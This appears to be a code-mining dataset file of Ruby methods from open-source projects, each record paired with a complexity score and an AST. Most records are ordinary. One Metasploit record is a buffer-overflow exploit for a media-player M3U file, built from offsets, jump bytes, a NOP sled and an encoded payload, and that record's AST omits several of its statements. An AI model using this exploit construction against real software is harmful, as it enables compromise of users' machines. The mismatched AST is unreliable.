{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/reset_on_column_errors.rb","start_line":25,"raw_source":"def reset_on_union_error(exception)\n      if exception.message.include?(\"each UNION query must have the same number of columns\") && should_reset?\n        do_reset(exception)\n      end\n\n      raise\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_on_union_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]},\"include?\",{\"type\":\"str\",\"children\":[\"each UNION query must have the same number of columns\"]}]},{\"type\":\"send\",\"children\":[null,\"should_reset?\"]}]},{\"type\":\"send\",\"children\":[null,\"do_reset\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]}","id":"e52a8182-99db-4b53-8d74-3ec3c9a4b73c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_sections/header_component.rb","start_line":135,"raw_source":"def add_work_package_action(menu)\n      menu.with_item(\n        label: t(\"label_agenda_item_work_package_add\"),\n        href: new_meeting_agenda_item_path(@meeting_section.meeting, type: \"work_package\",\n                                                                     meeting_section_id: @meeting_section&.id),\n        content_arguments: {\n          data: { \"turbo-stream\": true, \"test-selector\": \"meeting-section-add-work-package-from-menu\" }\n        }\n      ) do |item|\n        item.with_leading_visual_icon(icon: :plus)\n      end\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_work_package_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"with_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_agenda_item_work_package_add\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"new_meeting_agenda_item_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_section\"]},\"meeting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meeting_section_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_section\"]},\"id\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"turbo-stream\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test-selector\"]},{\"type\":\"str\",\"children\":[\"meeting-section-add-work-package-from-menu\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"with_leading_visual_icon\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"plus\"]}]}]}]}]}]}","id":"0b64e4de-bc07-4979-811c-52bccc9fcada"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/config.rb","start_line":323,"raw_source":"def auth_password\n          return options['password'] if options['password']\n\n          secrets&.fetch(:password, nil)&.chomp\n        end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_password\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secrets\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"nil\",\"children\":[]}]},\"chomp\"]}]}]}","id":"a3a0158f-f514-47fa-a1ad-5a746e805227"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule_worker/jobs.rb","start_line":72,"raw_source":"def ems_refresh_timer(klass)\n    queue_work_on_each_zone(:class_name  => klass.name, :method_name => \"refresh_all_ems_timer\") if klass.any?\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ems_refresh_timer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"queue_work_on_each_zone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"refresh_all_ems_timer\"]}]}]}]},null]}]}","id":"0395a1f9-c8d4-4583-88b1-88b2b3f586a9"}
{"repo_name":"forem","file_path":"./repos/forem/app/decorators/notification_decorator.rb","start_line":119,"raw_source":"def reaction?\n    type_inquirer.reaction? ||\n      (type_inquirer.article? && action_inquirer.reaction?) ||\n      (type_inquirer.comment? && action_inquirer.reaction?)\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"reaction?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type_inquirer\"]},\"reaction?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type_inquirer\"]},\"article?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_inquirer\"]},\"reaction?\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type_inquirer\"]},\"comment?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_inquirer\"]},\"reaction?\"]}]}]}]}]}","id":"95f081f4-0df0-4d6e-aa08-53dbd55932f7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/target_finder.rb","start_line":177,"raw_source":"def configured_include?(file)\n      @config_store.for_pwd.file_to_include?(file)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configured_include?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_store\"]},\"for_pwd\"]},\"file_to_include?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}","id":"d3a2de47-93a6-4512-a192-90514196b81f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240419122328_swap_vulnerability_feedback_pipeline_id_convert_to_bigint.rb","start_line":28,"raw_source":"def swap\n    with_lock_retries(raise_on_exhaustion: true) do\n      # Not locking ci_pipelines as it's an LFK column\n      lock_tables(TABLE_NAME)\n\n      swap_columns(TABLE_NAME, COLUMN_NAME, COLUMN_TO_BIGINT_NAME)\n\n      reset_trigger_function(:trigger_2428b5519042)\n\n      # No defaults to swap as the column is not a PK one\n\n      execute \"DROP INDEX #{INDEX_NAME}\"\n      rename_index TABLE_NAME, INDEX_TO_BIGINT_NAME, INDEX_NAME\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"swap\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_exhaustion\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lock_tables\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"swap_columns\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_NAME\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_TO_BIGINT_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"reset_trigger_function\",{\"type\":\"sym\",\"children\":[\"trigger_2428b5519042\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP INDEX \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"rename_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_TO_BIGINT_NAME\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}]}","id":"919fccc3-3444-43a1-8a86-71378d8740a2"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":786,"raw_source":"def on_worker_fork(&block)\n      warn_if_in_single_mode('on_worker_fork')\n\n      process_hook :before_worker_fork, nil, block, 'on_worker_fork'\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_worker_fork\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn_if_in_single_mode\",{\"type\":\"str\",\"children\":[\"on_worker_fork\"]}]},{\"type\":\"send\",\"children\":[null,\"process_hook\",{\"type\":\"sym\",\"children\":[\"before_worker_fork\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"str\",\"children\":[\"on_worker_fork\"]}]}]}]}","id":"e7e9ece8-b5eb-46ca-89be-6fd6430b3baf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/wm_downloader_m3u.rb","start_line":62,"raw_source":"def exploit\n    sploit = rand_text_alpha_upper(43480)\t# Offset for WinXP\n    sploit << \"\\xeb\\x20\\x90\\x90\"\t# Jump to the nops after the 2nd offset\n    sploit << [target.ret].pack('V')\t# Offset\n    sploit << rand_text_alpha_upper(16)\t# Pad to reach the Win7 Offset\n    sploit << \"\\xeb\\x0C\\x90\\x90\"\t# Jump over the cruft\n    sploit << [target.ret].pack('V')\t# Offset\n    sploit << \"\\x90\" * 8\n    sploit << payload.encoded\n\n    print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n    file_create(sploit)\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]}]}","id":"a34aeab8-426c-4807-82f7-289fcec25b91"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb","start_line":192,"raw_source":"def initialize\n            @mutex = Mutex.new\n            @map = WeakThreadKeyMap.new\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@map\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WeakThreadKeyMap\"]},\"new\"]}]}]}]}","id":"b223c149-4704-49ed-bd7c-5f8a2de263fb"}
{"repo_name":"puma","file_path":"./repos/puma/examples/generate_client_test.rb","start_line":81,"raw_source":"def write_files\n      path = \"#{__dir__}/puma/client_certs\"\n\n      Dir.chdir path do\n        File.write \"ca.crt\"    , @ca_cert.to_pem , mode: 'wb'\n        File.write \"ca.key\"    , @ca_key.to_pem  , mode: 'wb'\n        File.write \"server.crt\", @svr_cert.to_pem, mode: 'wb'\n        File.write \"server.key\", @svr_key.to_pem , mode: 'wb'\n        File.write \"client.crt\", @cli_cert.to_pem, mode: 'wb'\n        File.write \"client.key\", @cli_key.to_pem , mode: 'wb'\n\n        File.write \"unknown_ca.crt\", @ca_cert_u.to_pem, mode: 'wb'\n        File.write \"unknown_ca.key\", @ca_key_u.to_pem , mode: 'wb'\n\n        File.write \"client_unknown.crt\", @cli_cert_u.to_pem, mode: 'wb'\n        File.write \"client_unknown.key\", @cli_key_u.to_pem , mode: 'wb'\n\n        File.write \"client_expired.crt\", @cli_cert_exp.to_pem, mode: 'wb'\n        File.write \"client_expired.key\", @cli_key.to_pem     , mode: 'wb'\n      end\n    end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]},{\"type\":\"str\",\"children\":[\"/puma/client_certs\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"ca.crt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ca_cert\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"ca.key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ca_key\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"server.crt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@svr_cert\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"server.key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@svr_key\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"client.crt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cli_cert\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"client.key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cli_key\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"unknown_ca.crt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ca_cert_u\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"unknown_ca.key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ca_key_u\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"client_unknown.crt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cli_cert_u\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"client_unknown.key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cli_key_u\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"client_expired.crt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cli_cert_exp\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"str\",\"children\":[\"client_expired.key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cli_key\"]},\"to_pem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]}]}]}]}]}","id":"e4893c68-4cbe-43ca-90cb-5244cadfaefa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb","start_line":43,"raw_source":"def exploit_single(mod, opts, &block)\n    begin\n      session = mod.exploit_simple(opts, &block)\n    rescue ::Interrupt\n      raise $!\n    rescue ::Msf::OptionValidateError => e\n     ::Msf::Ui::Formatter::OptionValidateError.print_error(mod, e)\n    rescue ::Exception => e\n      print_error(\"Exploit exception (#{mod.refname}): #{e.class} #{e}\")\n      if e.class.to_s != 'Msf::OptionValidateError'\n        print_error(\"Call stack:\")\n        e.backtrace.each do |line|\n          break if line =~ /lib.msf.base.simple/\n          print_error(\"  #{line}\")\n        end\n      end\n    end\n\n    return session\n  end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_single\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]},{\"type\":\"arg\",\"children\":[\"opts\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"exploit_simple\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"OptionValidateError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Ui\"]},\"Formatter\"]},\"OptionValidateError\"]},\"print_error\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exploit exception (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"refname\"]}]},{\"type\":\"str\",\"children\":[\"): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]},\"to_s\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Msf::OptionValidateError\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Call stack:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"lib.msf.base.simple\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]}]}]},null]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]}]}]}]}","id":"1b082866-5d25-4234-b2b1-52b66d20dbff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/project_presenter.rb","start_line":130,"raw_source":"def add_contribution_guide_ide_path\n    ide_edit_path(project, default_branch_or_main, 'CONTRIBUTING.md')\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_contribution_guide_ide_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"ide_edit_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"default_branch_or_main\"]},{\"type\":\"str\",\"children\":[\"CONTRIBUTING.md\"]}]}]}","id":"5e16a85e-4d6d-43cf-a0ce-f8fd06df0b1e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/definition/decorator/custom_method_source.rb","start_line":17,"raw_source":"def validate!(proc)\n          raise ArgumentError if proc.name.nil? || proc.name == \"\"\n          raise ArgumentError if proc.arguments.nil? || !proc.arguments.is_a?(Array) || proc.arguments.empty?\n          raise ArgumentError if proc.source.nil? || proc.source == \"\"\n        end","complexity_score":29.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"proc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"arguments\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"arguments\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"arguments\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"source\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"source\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]}]}]}","id":"2aa59cc2-0d21-4447-9e94-8620eb0f24ca"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/disable_cops_within_source_code_directive.rb","start_line":81,"raw_source":"def any_cops_allowed?\n          allowed_cops.any?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"any_cops_allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_cops\"]},\"any?\"]}]}","id":"03908e38-d158-48c0-869f-fd3383aaf1c9"}
